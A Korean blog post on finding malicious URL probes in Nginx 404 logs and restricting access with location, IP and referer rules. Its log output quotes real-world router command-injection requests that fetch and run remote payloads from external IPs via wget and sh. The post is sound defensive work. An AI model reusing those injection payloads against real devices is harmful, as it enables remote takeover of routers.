Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- kotlin spring
- APM
- AI
- 오블완
- CKA
- 기록으로 실력을 쌓자
- 정보처리기사 실기 기출문제
- aws
- kotlin coroutine
- kotlin
- MySQL
- CKA 기출문제
- kotlin querydsl
- CloudWatch
- Spring
- minikube
- IntelliJ
- Linux
- Pinpoint
- 정보처리기사실기 기출문제
- Elasticsearch
- AWS EKS
- 티스토리챌린지
- 공부
- Kubernetes
- 코틀린 코루틴의 정석
- 정보처리기사 실기
- mysql 튜닝
- Java
- PETERICA
Archives
- Today
- Total
피터의 개발이야기
Nginx에서 특정 URL만 허용하는 방법 본문
반응형
ㅁ 들어가며
ㅇ web서비스를 제공하다 보면 원하지 않는 url 공격을 받게 된다.
ㅇ 이런 경우를 식별하는 과정과 Nginx에서 특정 URL만 허용하는 방법을 정리해 보았다.
ㅁ 잘못된 URL 패턴 확인
# webserver에 표출되는 에러 로그 확인
docker logs webserver | grep error
ㅇ 잘못 접근하는 URL패턴 분석
# 잘못된 경로 404 로그 추출
$ docker logs webserver | grep 404 > 404.log
# 잘못 접근하는 URL패턴 분석
$ awk '{print $7}' "404.log" | sort | uniq -c | sort -rn | awk '{print $2 " - " $1 "건"}' | head -n 10
/favicon.ico - 1351건
/robots.txt - 629건
/.env - 614건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) - 286건
/webui/ - 241건
/geoserver/web/ - 239건
/.git/config - 234건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) - 171건
/boaform/admin/formLogin - 142건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) - 134건
ㅇ 날짜별 잘못 접근 건수 분석
$ awk '{split($4, date, ":"); print date[1] " " $7}' "404.log" | sort | uniq -c | sort -rn | awk '{print $2 " - " $1 "건"}' | head -n 10
[27/Jun/2024 - 21건
[24/Jun/2024 - 21건
[21/Jun/2024 - 21건
[15/Jun/2024 - 21건
[28/Jun/2024 - 20건
[25/Jun/2024 - 20건
[22/Jan/2024 - 20건
[16/Jun/2024 - 20건
[14/May/2024 - 20건
[26/Jun/2024 - 19건
ㅁ Nginx에서 특정 URL만 허용하는 방법
ㅇ Nginx 설정 파일(/etc/nginx/conf.d/default.conf)에서 location을 지정한다.
# docker to local
docker cp webserver:/etc/nginx/conf.d/default.conf .
# local to docker
docker cp default.conf webserver:/etc/nginx/conf.d/default.conf
ㄴ docker 컨테이너는 vi가 되지 않아 일단 로컬로 파일을 복사하여 편집 후 컨테이너를 재시작 하였다.
ㅇ 기본적인 설정
server {
# 기타 서버 설정...
location / {
deny all;
}
location /allowed-path {
allow all;
}
}
ㄴ 이 설정은 모든 요청을 기본적으로 차단하고(/에 대해 deny all), /allowed-path에 대한 요청만 허용한다.
ㅇ 정규 표현식 사용
location ~ ^/api/v[0-9]+/ {
allow all;
}
ㄴ 더 복잡한 URL 패턴을 허용하려면 정규 표현식을 사용할 수 있다.
ㄴ 이 설정은 /api/v1/, /api/v2/ 등의 URL 패턴만 허용한다.
ㅇ IP 기반 접근 제어
server {
# 서버 설정
location /pray {
allow 192.168.33.0/24;
deny all;
}
}
ㄴ 이 설정은 /pray 경로에 대해 192.168.33.0/24 서브넷의 IP만 접근을 허용한다.
ㅇ referer 접근 제어
map $http_referer $allow_referer {
default 0;
"~.iptime.org" 1;
}
map $allow_referer $disallow_referer {
0 1;
1 "";
}
location / {
if ($disallow_referer) {
return 404;
}
}
[참조] [nginx] 특정 referer 에서만 url 호출 가능하도록 설정하기
ㅁ 444 Error(ERR_EMPTY_RESPONSE)
ㅇ 접근 URL로 접근하면 444, ERR_EMPTY_RESPONSE 에러가 발생한다.
ㅇ 웹 브라우저에 444는 nginx의 응답없음을 말한다.
ㅁ 함께 보면 좋은 사이트
ㅇ 라즈베리파이4 설정(4) - NGINX에서 도메인으로 접속만 허용하기(IP주소 직접접속 차단)
반응형
'DevOps > nginx' 카테고리의 다른 글
[nginx] Nginx의 허용IP와 Proxy_pass 설정 (0) | 2024.10.26 |
---|---|
Docker로 Nginx 웹서버 구동해보기 | Docker 파일복사(로컬 - 컨테이너) | Docker 컨테이너 unzip 설치하기 (1) | 2023.12.07 |
Comments